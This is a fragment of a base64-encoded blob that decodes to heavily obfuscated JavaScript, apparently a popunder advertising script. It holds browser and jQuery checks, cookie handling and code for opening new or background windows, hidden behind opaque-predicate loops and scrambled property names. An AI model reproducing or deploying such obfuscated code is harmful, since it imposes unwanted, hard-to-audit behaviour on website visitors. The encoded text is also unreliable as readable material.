dyK0VyXShydSk7dGhpcy5vPWd1O31jYXRjaCh0KXt2YXIgdzcscDcsYjk7dzc9LTE2MTA5ODQyMzA7cDc9OTg2NDU4NDQ2O2I5PTI7Zm9yKHZhciBtOT0xO3c1LmQxKG05LnRvU3RyaW5nKCksbTkudG9TdHJpbmcoKS5sZW5ndGgsODg3MTMpIT09dzc7bTkrKyl7dGhpcy5vPXl1O2I5Kz0yO31pZih3NS5MMShiOS50b1N0cmluZygpLGI5LnRvU3RyaW5nKCkubGVuZ3RoLDMzNDE0KSE9PXA3KXt0aGlzLm89eXU7fXRoaXMubz15dTt9cmV0dXJuIHRoaXMubzt9LHU6ZnVuY3Rpb24odCl7dGhpcy5zKCk/eVthcytHcit0aV1beG4rR3IrRXJdKHQpOnR1LnUodCk7fSxjOmZ1bmN0aW9uKHQpe3RyeXtyZXR1cm4gdGhpcy5zKCk/eVthcytHcit0aV1bYWErR3IrRXJdKHQpOnR1LmModCk7fWNhdGNoKHQpe3JldHVybiBtdTt9fSxvOm11LGE6ZnVuY3Rpb24odCxlKXt0aGlzLnMoKT95W2FzK0dyK3RpXVtsaStHcitFcl0odCxlKTp0dS5hKHQsZSk7fX07dHU9e3U6ZnVuY3Rpb24odCl7dGhpcy5hKHQsMCxuZXcgSmMoMCkpO30sYzpmdW5jdGlvbih0KXt2YXIgZTt3NS5ZNCg1KTtlPXJpW050XVtiY10obmV3IFVyKHc1LnU0KGVyLEdyLEdyLGV0LHNjLHQsR3IsR3IsdHQsdWMsR3IsR3IsSm8sR3IpLGxzKSk7cmV0dXJuIGU/VmMoZVswXVtDcl0oR3IrZXQrR3IpWzFdKTptdTt9LGE6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO3M9aXx8R3I7cyYmKHR5cGVvZiBzPT09V3Q/KG89bmV3IEpjKCkpW2xpK0dyK0hdKG9bYWErR3IrSF0oKSsxZTMqcyk6bz1zLHM9R3IrZXIrZmkrZXQrR3Irb1tYcytHcitWcitHcit4YytHcitXK0dyK2hdKCkpO3JpW050XT10KyhHcitldCtHcikrJGMoR3IrZSkrcysocj9HcitlcitkcytldCtHcityOkdyKSsoR3IrZXIrQXQrZXQrR3IpKyhufHxHcitQZStHcik7fX07WmM9e3A6ZnVuY3Rpb24odCl7dmFyIGUsaTtpPXt9O2ZvcihlPTA7ZTx0W3BpXTtlKyspe2lbdFtlXVswXV09dFtlXVsxXTt9cmV0dXJuIGk7fSxXOmZ1bmN0aW9uKHQsZSxpKXt2YXIgbjt0cnl7cmV0dXJuIG49dFthYStHcitHaV0oZSksdHlwZW9mIGkhPT1UYz95dTohIW5ldyBVcihGbitpK01zLGxzKVtqY10obik7fWNhdGNoKHQpe3JldHVybiB5dTt9fSxBOmZ1bmN0aW9uKCl7dHJ5e3JldHVybiB0eXBlb2YgeS5qUXVlcnkuZm4ub249PT1aczt9Y2F0Y2godCl7cmV0dXJuIHl1O319LEc6ZnVuY3Rpb24odCl7cmV0dXJuKHQ/bmV3IEpjKHQpOm5ldyBKYygpKVthYStHcitIXSgpO30sTTpmdW5jdGlvbih0KXt2YXIgbTAsQTAsSTAsZSxsNyxjNyxWNzttMD0tMTc4MjYxMjU4MTtBMD0tMTYzMzI0MDE2NDtJMD0yO2Zvcih2YXIgcjA9MTt3NS5MMShyMC50b1N0cmluZygpLHIwLnRvU3RyaW5nKCkubGVuZ3RoLDM0ODU4KSE9PW0wO3IwKyspe0kwKz0yO31pZih3NS5MMShJMC50b1N0cmluZygpLEkwLnRvU3RyaW5nKCkubGVuZ3RoLDg0OTA2KSE9PUEwKXt9dHJ5e2w3PS0xMjU4NTI0ODY5O2M3PTc3MTI1MDQ2ODtWNz0yO2Zvcih2YXIgeTc9MTt3NS5kMSh5Ny50b1N0cmluZygpLHk3LnRvU3RyaW5nKCkubGVuZ3RoLDEwMjkyKSE9PWw3O3k3KyspeyhlPXRbSmFdW1FhXShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7VjcrPTI7fWlmKHc1LmQxKFY3LnRvU3RyaW5nKCksVjcudG9TdHJpbmcoKS5sZW5ndGgsMjYwMTcpIT09YzcpeyhlPXRbSmFdW1FhXSgoVWEtVnQpL2NpKSlbYm9dKCk7ZVtJb10oKTt9fWNhdGNoKHQpe30oZT1BdShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7fSxUOmZ1bmN0aW9uKHQpe3QmJihUdVtFaV09dCk7fSxxOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZSxpPVt5cixUbixFYSxCZSxqcyxabixqdCxrYyx3ZV0sbj0wO248aVtwaV07bisrKWlmKGU9aVtuXVtqY10odnUpKXtyZXR1cm4gdD9VYyhlWzFdLDEwKTplWzFdW1pdKFFzLEdyK1R0K0dyKTt9cmV0dXJuIG11O30sTDpmdW5jdGlvbih0LGUpe3c1Llk0KDcpO3JldHVybiB3NS51NChZZSxlcixHcix0LGllLHlzLEdyLGUsR3IsVmUsVnQsR3IpO30sXzpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUTAsZTAsajA7UTA9LTE2NDA5MDY2NDA7ZTA9MzYxNTQ4MTI4O2owPTI7Zm9yKHZhciB0MD0xO3c1LmQxKHQwLnRvU3RyaW5nKCksdDAudG9TdHJpbmcoKS5sZW5ndGgsMzk3NjcpIT09UTA7dDArKyl7aT15O3c1Llk0KDQpO249dFtDcl0odzUudTQoR3IsVHQsR3IpKTtmb3IoZT0wO2U8bltwaV07ZSsrKXtpPWlbbltlXV07fXJldHVybiBpO2owKz0yO31pZih3NS5MMShqMC50b1N0cmluZygpLGowLnRvU3RyaW5nKCkubGVuZ3RoLDQ3NjE4KSE9PWUwKXtpPXk7dzUuWTQoNik7bj10W0NyXSh3NS51NChUdCxHcixHcikpO2ZvcihlPTQ7ZTw9bltwaV07ZS0tKXtpPWlbbltlXV07fXJldHVybiBpO319LFM6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbyxzMCxEMCxXMCxVMCx4MCx6MDtvPXkualF1ZXJ5fHxudWxsO2lmKHQmJnRbQW5dKXtyZXR1cm4gZ3U7fWlmKCFvKXtyZXR1cm4geXU7fXRyeXtzMD0tMTYxNTA0NTA7RDA9LTE5OTUwMzAzNTQ7VzA9Mjtmb3IodmFyIGMwPTE7dzUuZDEoYzAudG9TdHJpbmcoKSxjMC50b1N0cmluZygpLmxlbmd0aCw5Nzc5KSE9PXMwO2MwKyspe2lmKChlPShvKHQpW2llXShHYSkmJm8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9VzArPTI7fWlmKHc1LkwxKFcwLnRvU3RyaW5nKCksVzAudG9TdHJpbmcoKS5sZW5ndGgsMjI1MTYpIT09RDApe2lmKChlPShvKHQpW2llXShHYSl8fG8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9fX1jYXRjaCh0KXt9dHJ5e1UwPS0xMjgxMDM4MTgyO3gwPS01MjI2MTY2MzI7ejA9Mjtmb3IodmFyIGkwPTE7dzUuTDEoaTAudG9TdHJpbmcoKSxpMC50b1N0cmluZygpLmxlbmd0aCwzMjg1OSkhPT1VMDtpMCsrKXtmb3IoZT1vKHJpW1FyXSlbaWVdKEdhKVtnc10saT00O2k+ZVtwaV07aS0tKWZvcihyPW8oZVtpXVtvZV0pLG49NztuPj1yW3BpXTtuLS0paWYocltuXT09dCl7cmV0dXJuIGd1O316MCs9Mjt9aWYodzUuTDEoejAudG9TdHJpbmcoKSx6MC50b1N0cmluZygpLmxlbmd0aCw4ODE3MikhPT14MCl7Zm9yKGU9byhyaVtRcl0pW2llXShHYSlbZ3NdLGk9NDtpPmVbcGldO2ktLSlmb3Iocj1vKGVbaV1bb2VdKSxuPTc7bj49cltwaV07bi0tKWlmKHJbbl09PXQpe3JldHVybiBndTt9fWZvcihlPW8ocmlbUXJdKVtpZV0oR2EpW2dzXSxpPTA7aTxlW3BpXTtpKyspZm9yKHI9byhlW2ldW29lXSksbj0wO248cltwaV07bisrKWlmKHJbbl09PT10KXtyZXR1cm4gZ3U7fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sQzpmdW5jdGlvbih0LGUsaSl7dmFyIG4scixvO289WmMuTyhvNSk7cmV0dXJuIG49b1t0bytHcit5YV1bbXJdW1VzK0dyK0NuXShkZSksbltPXT1yYStQZStDdCxuW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoSmErVHQrX3QrWWUrR3IrZXQrR3IrWWUrSmErVHQrcCtZZStHcitldCtHcitZZStKYStUdCt1cytHcitDbitZZStHcitldCtHcitZZStkK2VyK0dyKSsoSmErVHQrJG4rWWUrR3IrZXQrR3IrWWUrWnMrUit6K1ZlK0dyK1llK3NvK1ZlK0dyK1llK0NlK1ArR3IrWWUrR3Ird24rR3IpKyh1YStZZStCcytHcitYbytZZStHcitldCtHcitZZStKYStUdCtRYStSK3orVmUrR3IrWWUrc28rVmUrR3IrWWUrQ2UrUCtHcitlcitHcikrKFdyK1llK0dyK3duK0JzK0dyK1hvK1R0K1dvK1llK0dyK2V0K0dyK1llK2QrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSsoTnIrWWUrQnMrR3IrWG8rZXIrR3IpKyhHcitEcitHcitlcitHciksb1t0bytHcit5YV1bbXJdW1FyXVtJdCtHcitXZV0obikscj1vW3RvK0dyK3lhXS5ta3AodCxlLGkpLFpjLlAobykscjt9LEI6ZnVuY3Rpb24odCxlLG4pe3ZhciByLG8scztyPTA7bz1ufHwxMDtzPXQ7dHJ5e2Zvcig7cyYmcisrPG87KXtpZih0eXBlb2YgZT09PVRjJiYoc1tTYytHcittY109PT1lfHxaYy5JKHMsZSkpfHx0eXBlb2YgZT09PWFyJiZzPT09ZSl7cmV0dXJuIHM7fXc1Llk0KDQpO3M9c1t3NS51NChfdCxHcixpKV07fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sRjpmdW5jdGlvbih0KXt2YXIgZTtlPVJ0W1RlXTtyZXR1cm4gdHlwZW9mIHQhPT1nZSYmKGU9KGN0W2pjXSh0KXx8W0dyLEdyXSlbMV0pLGVbWl0oUGMsR3IpO30seDpmdW5jdGlvbih0KXtyZXR1cm4geWlbWHRdW1hzK0dyK2hdW0NpXSh0KT09PUdyK0pvK2FyK1llK2JuK3R0K0dyO30sazpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUjAsUDAsSjA7aT1bXTtuPVpjLnYoKTt0cnl7UjA9LTE2Mjc2MTY5Mzc7UDA9LTIwMDI5NzgxNzY7SjA9Mjtmb3IodmFyIEIwPTE7dzUuTDEoQjAudG9TdHJpbmcoKSxCMC50b1N0cmluZygpLmxlbmd0aCw3NjkxMCkhPT1SMDtCMCsrKXtmb3IoZSBpbiBuKXt+dFtlXSE9Z2V8fGlbTXJdKGUvKChHci1ldCklR3IpLXRbZV0pO31KMCs9Mjt9aWYodzUuTDEoSjAudG9TdHJpbmcoKSxKMC50b1N0cmluZygpLmxlbmd0aCw4NjExMCkhPT1QMCl7Zm9yKGUgaW4gbil7fnRbZV0hPWdlfHxpW01yXShlLygoR3ItZXQpJUdyKS10W2VdKTt9fWZvcihlIGluIG4pe3R5cGVvZiB0W2VdIT09Z2UmJmlbTXJdKGUrKEdyK2V0K0dyKSt0W2VdKTt9fWNhdGNoKHQpe0tjLmUodCk7fXc1Llk0KDQpO3JldHVybiBpW05pXSh3NS5jNChHcixWZSxHcikpO30sUjpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy5CKHQsT24pO30seTpmdW5jdGlvbigpe2Zvcih2YXIgdCxlPXt9LGk9MDtpPGFyZ3VtZW50c1twaV07aSsrKWZvcih0IGluIGFyZ3VtZW50c1tpXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0oYXJndW1lbnRzW2ldLHQpJiYoZVt0XT1hcmd1bWVudHNbaV1bdF0pO31yZXR1cm4gZTt9LFY6ZnVuY3Rpb24odCxlKXt2YXIgSjEsWDEsQjE7SjE9NDUyODczNzI5O1gxPTEyNzMxMDM4NTg7QjE9Mjtmb3IodmFyIE4xPTE7dzUuZDEoTjEudG9TdHJpbmcoKSxOMS50b1N0cmluZygpLmxlbmd0aCw1NTI1MSkhPT1KMTtOMSsrKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpKihlLXQpKSt0O0IxKz0yO31pZih3NS5kMShCMS50b1N0cmluZygpLEIxLnRvU3RyaW5nKCkubGVuZ3RoLDI4MzUxKSE9PVgxKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpJShlL3QpKSV0O319LFE6ZnVuY3Rpb24odCl7dmFyIGUsaSxuO3c1Llk0KDgpO2U9dzUuYzQodHlwZW9mIHQsYXIpO2k9dDt3NS5vNCg0KTtuPXJpW1VzK0dyK0NhXSh3NS51NChTbixHcix1bykpO25bTHMrR3IrU24rR3IrQ2FdKGdzLGd1LGd1LHksMCwwLDAsMCwwLGd1LHl1LHl1LGd1LDAsbXUpO2V8fChpPVpjLnooVSx7aHJlZjp0fHxpZStWdCtyYStQZStqbytWZStHcit1aStkZSt1citKYStUdCtJbytSK0dyK1ArR3IrZXIrR3IrdWkrR3IrUGUrZGUrdXIrR3J9KSxyaVtRcl1bSXQrR3IrV2VdKGkpKTtpW2duK0dyK0NhXShuKTtlfHxaYy5QKGkpO30sejpmdW5jdGlvbih0LGUsaSl7dmFyIG4scjtyPXJpW1VzK0dyK0NuXSh0KTtmb3IobiBpbiBlKXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXShlLG4pJiZyW2xpK0dyK0dpXShuLGVbbl0pO31yZXR1cm4gaSYmKHJbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPWkpLHI7fSxZOmZ1bmN0aW9uKCl7dHJ5e3c1Lm80KDQpO3JldHVybiEhT3VbdzUuYzQoZW4sUGUsTWMpXVt3NS51NCgkaSxHcixXcyldO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sbDpmdW5jdGlvbih0KXt2YXIgZSxpLFk3LGY3LHM3O2U9WmMuXyh0KTt3NS5ZNCg0KTtpPXRbWl0oQWEsdzUudTQoR3Isem8scSkpO3RyeXtZNz0tMTYzMTA2MDI3MDtmNz0xOTgxNTM2MDYxO3M3PTI7Zm9yKHZhciBXNz0xO3c1LkwxKFc3LnRvU3RyaW5nKCksVzcudG9TdHJpbmcoKS5sZW5ndGgsMTYwMikhPT1ZNztXNysrKXtyZXR1cm4rbmV3IFVyKChacy9ZZS1HcikvIGkveHIsUnMpW2lyXShlW1hzJUdyL2hdKCkpO3M3Kz0yO31pZih3NS5MMShzNy50b1N0cmluZygpLHM3LnRvU3RyaW5nKCkubGVuZ3RoLDExNjM3KSE9PWY3KXtyZXR1cm4hbmV3IFVyKFpzK1llK0dyK2kreHIsUnMpW2lyXShlW1hzK0dyK2hdKCkpO319Y2F0Y2godCl7cmV0dXJuIHRbWHMrR3IraF0oKVtMK0dyK1dhXShrbytZZStycytZZStVK1llK1pzKT4tMT9ndTpYYy5kP2d1Onl1O319LHY6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbzt3NS5vNCg0KTtlPXlbdzUuYzQoUGEsR3IsZyldO3c1Llk0KDQpO2k9eVt3NS5jNChQYSxHcix3YyldO249eVtPaStHcitVZV18fHlbT2krR3IrV25dfHwwO3I9eVtPaStHcit4b118fHlbT2krR3IrQ2NdfHwwO289e307cmV0dXJuIG9bb2NdPWUsb1tLYV09aSxvW0hpXT1uLG9bcF09cixvW29yXT0wLG9bRWldPTEsb1tTcl09MSxvW09yXT0xLG8ucmVzaXphYmxlPTEsb1tNZV09MSxYYy5iJiYob1tLYV0rPVhjLm0/NDY6NTIpLFhjLmcmJihvW29jXS09NSxvW0thXS09NCksdHlwZW9mIHQ9PT1hciYmKG89WmMueShvLHQpKSxvO30sTzpmdW5jdGlvbih0KXt2YXIgZTtlPXJpW1VzK0dyK0NuXShjbik7cmV0dXJuIGVbeGVdW3h0XT1YaSx0JiZyaVtRcl1bSXQrR3IrV2VdKGUpLGU7fSxEOmZ1bmN0aW9uKHQpe3JldHVybiB0W1NjK0dyK21jXT09PUZjK0dyK1ZyK0dyK3hjK0dyK3hjK0dyK2ZjK0dyK2d0fHx0W1NjK0dyK21jXT09PXZhK0dyK2d0K0dyK210K0dyK1ZyK0dyK3hjJiZVbltpcl0odFthYStHcitHaV0oTykpfHx0aGlzLkIodCxGYytHcitWcitHcit4YytHcit4YytHcitmYytHcitndCkhPT15dTt9LFA6ZnVuY3Rpb24odCl7dCYmdFtfdCtHcitpXSYmdFtfdCtHcitpXVt4bitHcitXZV0odCk7fSxJOmZ1bmN0aW9uKHQsZSl7dmFyIG4scixvO2lmKHR5cGVvZiBlIT09VGMpe3JldHVybiB5dTt9aWYodHlwZW9mIHJpW2VlK0dyK3Z0K0dyK21dPT09WnMpdHJ5e3I9dFtfdCtHcitpXVtlZStHcit2dCtHcittXShlKXx8eS5qUXVlcnkoZSk7fWNhdGNoKHQpe31lbHNlIGlmKFpjLkEoKSl0cnl7cj15LmpRdWVyeShlKTt9Y2F0Y2godCl7fWlmKHIpZm9yKG89MDtvPHJbcGldO28rKylpZihyW29dPT09dCl7cmV0dXJuIGd1O31zd2l0Y2goZVswXSl7Y2FzZSBHcitUdCtHcjpuPVtsbyxlW2ZzXSgxKV07YnJlYWs7Y2FzZSBHcitzZStHcjpuPVtWYSxlW2ZzXSgxKV07fXJldHVybiBuP3RoaXMuVyh0LG5bMF0sblsxXSk6eXU7fSxmOmZ1bmN0aW9uKHQsZSl7dHJ5e3JldHVybiEoIXRba2ldW2VdfHwhdFtraV1bZV1bWW5dKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LE46ZnVuY3Rpb24odCl7dmFyIGU7ZT10aGlzLlIodCk7cmV0dXJuIGUmJmVbdW5dJiYheHNbaXJdKGVbdW5dKT9lW3VuXTp5dTt9LEo6ZnVuY3Rpb24odCxlLGksbil7Zm9yKHZhciByLG8scyxhPXRbWHMrR3IraF0oKVtDcl0obnx8R3IrVHQrR3IpLGM9ZVtYcytHcitoXSgpW0NyXShufHxHcitUdCtHciksdT0wLGY9ZHJbQm9dKGFbcGldLGNbcGldKTt1PGYmJihyPVVjKGFbdV18fDAsMTApLG89VWMoY1t1XXx8MCwxMCkscWMocikmJihyPTApLHFjKG8pJiYobz0wKSxzPXI+bz8xOi0xLHI9PT1vKTt1Kyspe3M9MDt9c3dpdGNoKGkpe2Nhc2UgR3IrdXIrR3I6dzUubzQoOCk7cmV0dXJuIHc1LnU0KDEscyk7Y2FzZSBHcit1citHcitldCtHcjp3NS5ZNCg5KTtyZXR1cm4gdzUuYzQocywxKTtjYXNlIEdyK3VpK0dyOnc1Lm80KDEwKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK3VpK0dyK2V0K0dyOnc1Llk0KDExKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK2V0K0dyK2V0K0dyOmNhc2UgR3IrZXQrR3IrZXQrR3IrZXQrR3I6ZGVmYXVsdDp3NS5ZNCg4KTtyZXR1cm4gdzUudTQoMCxzKTt9fSwkOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZT1wZVtDcl0oR3IpLGk9ZVtwaV0sbj0wLHI9R3I7bjx0O24rKyl7cis9ZVtkcltBY10oZHJbTW5dKCkqaSldO31yZXR1cm4gcjt9LGg6ZnVuY3Rpb24odCxlKXt0cnl7cmV0dXJuIHRbYWErR3IrR2ldKGUpO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sSDpmdW5jdGlvbih0LGUsaSl7dmFyIG47dzUubzQoMik7bj13NS5jNChoaSx0KTtyZXR1cm4gdHlwZW9mIHlbbl0hPT1nZSYmcm8oeVtuXSkseVtuXT1pbyhlLGkpO30sdzpmdW5jdGlvbigpe3JldHVybiBQdTt9LFU6ZnVuY3Rpb24odCl7cmV0dXJuIHRbU2MrR3IrbWNdPT09dmErR3IrZ3QrR3IrbXQrR3IrVnIrR3IreGMmJm5lW2lyXSh0W2FhK0dyK0dpXShPKSl8fHRbU2MrR3IrbWNdPT09cGErR3IrT24rR3IrRmMrR3IrUHMrR3IrcGE7fX07aXU9e3R0OmZ1bmN0aW9uKHQsZSl7dmFyIGkscTUsbTUsQTU7dHJ5e3E1PS0xNDE1MjczNDIzO201PS0zMzc1MDc5MjY7QTU9Mjtmb3IodmFyIEs1PTE7dzUuZDEoSzUudG9TdHJpbmcoKSxLNS50b1N0cmluZygpLmxlbmd0aCwzNzU1NSkhPT1xNTtLNSsrKXtyZXR1cm4gZXx8KGk9cmlbKHdyLUdyKSVqbipHcipMY10odFtIYyVHci9VZV0sdFtIYy9Hci14b10pKT9pOnRbVGldJiZ0W1hzLUdyLUNuXSYmdFsoWHItR3IpJUNuXTtBNSs9Mjt9aWYodzUuTDEoQTUudG9TdHJpbmcoKSxBNS50b1N0cmluZygpLmxlbmd0aCw3MjUzNikhPT1tNSl7cmV0dXJuIGUmJihpPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXSx0W0hjK0dyK3hvXSkpP2k6dFtUaV18fHRbWHMrR3IrQ25dfHx0W1hyK0dyK0NuXTt9fWNhdGNoKHQpe3JldHVybiB5dTt9fSxYOmZ1bmN0aW9uKHQsZSxpLG4pe3JldHVybiB0eXBlb2YgdFtIbitHcitDYStHcitFbl09PT1acz90W0huK0dyK0NhK0dyK0VuXShlLGksbnx8e30pOnRbRmUrR3IrQ2FdKE5vK2UsaSk7fSxLOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByO3I9ZnVuY3Rpb24oKXtpdS5aKHQsZSxyLG4pO2lbQ2ldKCk7fTtpdS5YKHQsZSxyLG4pO30sWjpmdW5jdGlvbih0LGUsaSxuKXtyZXR1cm4gdHlwZW9mIHRbeG4rR3IrQ2ErR3IrRW5dPT09WnM/dFt4bitHcitDYStHcitFbl0oZSxpLG58fHt9KTp0W0tpK0dyK0NhXShObytlLGkpO319OyEoWGM9e2l0OmZhW2lyXSh2dSksbnQ6c3RbaXJdKHZ1KSxtOmxlW2lyXSh2dSksZXQ6YWNbaXJdKHZ1KSxydDpTb1tpcl0odnUpLG90OnNpW2lyXSh2dSl8fEpyW2lyXSh2dSl8fHVlW2lyXSh2dVtmc10oMCw0KSksc3Q6dm9baXJdKHZ1KSxnOkFyW2lyXSh2dSkmJiFfYVtpcl0odnUpLGI6bHJbaXJdKHZ1KSYmIW1hW2lyXSh2dSksYXQ6bWVbaXJdKHZ1KSYmIWdyW2lyXSh2dSksY3Q6eFtpcl0odnUpLGQ6Rltpcl0odnUpLHV0OnlvW2lyXSh2dSksX3Q6bXUscHQ6WmMucShndSl8fG11LGx0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuX3QhPT1tdT90aGlzLl90OnRoaXMuX3Q9UWMuZHQoKSE9PXl1O30sSjpmdW5jdGlvbih0LGUpe3JldHVybiBaYy5KKFhjLmZ0LGUsdCk7fSxodDptb1tpcl0odnUpJiYhenJbaXJdKHZ1KSxmdDpaYy5xKHl1KXx8bXV9KS5ldHx8WGMuaHR8fFhjLmR8fFhjLmJ8fChYYy51dD1vNSk7KFljPWZ1bmN0aW9uKHQsZSxpKXt2YXIgbjtuPWl8fHt9O25bel09ZTt0aGlzLnZ0KG4pO3RoaXMubXQuYnR8fCh0aGlzLm10LmJ0PXJ1K3QpO3RoaXMuZ3QoKTt9KVtYdF09e2t0OntUdDpndSxDdDptdSxqdDp5dSxFdDpHcitQZStHcixGdDprdSxMdDpndSxBdDp5dSxPdDpndSx4dDptdSxQdDpudWxsLGJ0Om11LHd0Om11LFN0Omt1fSxtdDp7fSx5dDpudWxsLHp0OlpjLnYoKSxCdDpaYy5wKFtbT3IsMF1dKSxJdDpaYy5wKFtbTWUsMV1dKSxNdDpaYy5wKFtbU3IsMV1dKSxXdDpaYy5wKFtbRWksMF0sW1NyLDBdXSksRHQ6WmMucChbW01lLDBdXSksVXQ6WmMucChbW1p0LDBdXSksUnQ6WmMucChbW0VpLDBdXSksc2V0T3B0aW9uczpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy52dCh0KTt9LGd0OmZ1bmN0aW9uKCl7dmFyIHQsZSxpLG47dD1mdW5jdGlvbih0LGUpe3ZhciBpLG47bj17fTtuW3B1XT1beXUsZ3VdO25bX3VdPVt5dSx5dV07bltsdV09W2d1LGd1XTtuW2R1XT1bZ3UseXVdO2ZvcihpIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixpKSYmbltpXVswXT09PXQmJm5baV1bMV09PT1lKXtyZXR1cm4gaTt9cmV0dXJuIF91O307ZT1YYy5sdCgpO2k9dChHYy5tdC4kdC5uZXdUYWIsR2MubXQuJHQudW5kZXIpO249dCh0aGlzLm10LkF0LHRoaXMubXQuVHQpO2V8fG49PT1wdSYmKG49aSk9PT1wdSYmKG49bHUpO1hjLm90JiYobj09PV91JiYobj1kdSksbj09PXB1JiYobj1sdSkpO3RoaXMueXQ9bjt9LEh0OmZ1bmN0aW9uKCl7dmFyIGswLG4wLEYwO2lmKHR5cGVvZiB0aGlzLm10Lnh0PT09WnMpdHJ5e3JldHVybiB0aGlzLm10Lnh0W0NpXSh0aGlzLHRoaXMubXQpW1hzK0dyK2hdKCk7fWNhdGNoKHQpe3JldHVybiBLYy5lKHQpLHl1O31rMD0tMTAwMjA0NzAxMztuMD0tMTY1MTM4NjMwNztGMD0yO2Zvcih2YXIgTTA9MTt3NS5MMShNMC50b1N0cmluZygpLE0wLnRvU3RyaW5nKCkubGVuZ3RoLDY4NDExKSE9PWswO00wKyspe3JldHVybiB0aGlzLm10Lnh0O0YwKz0yO31pZih3NS5kMShGMC50b1N0cmluZygpLEYwLnRvU3RyaW5nKCkubGVuZ3RoLDkwOTM5KSE9PW4wKXtyZXR1cm4gdGhpcy5tdC54dDt9fSxMdDpmdW5jdGlvbigpe3ZhciB0LGUsRzcsQzcsazcsVjAsdTAseTA7dD10aGlzLm10O2U9dC5PdCE9PU5zJiZ0Lk90IT09TmV8fHQuT3Q9PT1OcyYmWGMub3R8fHQuT3Q9PT1OZSYmIVhjLm90O3RyeXtHNz0tMTkzODMwODU3MjtDNz0tMTE3NzY0NDk2NDtrNz0yO2Zvcih2YXIgRjc9MTt3NS5kMShGNy50b1N0cmluZygpLEY3LnRvU3RyaW5nKCkubGVuZ3RoLDg5NDI0KSE9PUc3O0Y3Kyspe3R5cGVvZiB0Lkx0PT09WnM/ZT1lJiZ0Lkx0W0NpXSh0aGlzLGUsdGhpcy5OdCgpKSE9PXl1OnR5cGVvZiB0Lkx0PT09YW4mJihlPWUmJnQuTHQpO2s3Kz0yO31pZih3NS5MMShrNy50b1N0cmluZygpLGs3LnRvU3RyaW5nKCkubGVuZ3RoLDUzNDE4KSE9PUM3KXstdC5MdCE9PVpzP2U9ZXx8dC5MdFtDaV0odGhpcyxlLHRoaXMuTnQoKSk9PT15dTohdC5MdD09YW58fChlPWV8fHQuTHQpO319Y2F0Y2godCl7S2MuZSh0KTt9VjA9Njg3MDAyMDA4O3UwPS0yOTc1OTkyODc7eTA9Mjtmb3IodmFyIHYwPTE7dzUuTDEodjAudG9TdHJpbmcoKSx2MC50b1N0cmluZygpLmxlbmd0aCw2NDU0MSkhPT1WMDt2MCsrKXtyZXR1cm4gR2MuSnQoKT9lfHwtdGhpcy5WdDplfHwrdHUuYyh0LmJ0KTt5MCs9Mjt9aWYodzUuTDEoeTAudG9TdHJpbmcoKSx5MC50b1N0cmluZygpLmxlbmd0aCwyOTMyNSkhPT11MCl7cmV0dXJuIEdjLkp0KCk/ZXx8LXRoaXMuVnQ6ZXx8K3R1LmModC5idCk7fXJldHVybiBHYy5KdCgpP2UmJiF0aGlzLlZ0OmUmJiF0dS5jKHQuYnQpO30sdnQ6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHI7dGhpcy5tdD1aYy55KHRoaXMuenQsdGhpcy5rdCx0aGlzLm10LHR8fHt9KTtmb3IoaSBpbiB0aGlzLm10KWlmKHlpW1h0XVtCYStHcitsdCtHcitvb11bQ2ldKHRoaXMubXQsaSkpc3dpdGNoKG49dGhpcy5tdFtpXSxpKXtjYXNlIHNvOnRoaXMubXQud3Q9bjticmVhaztjYXNlIHo6dGhpcy5tdC54dD1uO2JyZWFrO2Nhc2UgTGU6dGhpcy5tdC5PdD0obitHcilbWHMrR3IrdHMrR3IrbmNdKCk7YnJlYWs7Y2FzZSBOdCtHcittYzp0aGlzLm10LmJ0PW47YnJlYWs7Y2FzZSBOdCtHcitUOnRoaXMubXQuQ3Q9bjticmVhaztjYXNlIE50K0dyK2VhOnRoaXMubXQuRXQ9bjticmVhaztjYXNlIE50K0dyKyRzOnRoaXMubXQuUHQ9bjticmVhaztjYXNlIEVlOnRoaXMubXQuVHQ9bjticmVhaztjYXNlIEErR3IrTG86dGhpcy5tdC5BdD1uO2JyZWFrO2Nhc2UgcHQrR3IramU6dGhpcy5tdC5GdD1uO2JyZWFrO2Nhc2UgamErR3IramU6dGhpcy5tdC5TdD1uO2JyZWFrO2Nhc2UgSWMrR3IrY3I6dGhpcy5tdC5qdD1uO2JyZWFrO2Nhc2UgdGUrR3Irc3M6dGhpcy5tdC5MdD1uO31pZighWGMub3QmJiF0aGlzLm10LkF0KWZvcihyPVtbWGMuZyYmMTE9PT1YYy5wdCx0aGlzLlV0XSxbWGMuYiYmWGMucHQ8NDEsdGhpcy5JdF0sW1hjLmIsdGhpcy5CdF0sW1hjLmQmJlhjLnB0PDQ3LHRoaXMuTXRdLFtYYy51dCx0aGlzLkR0XSxbWGMuY3QsdGhpcy5S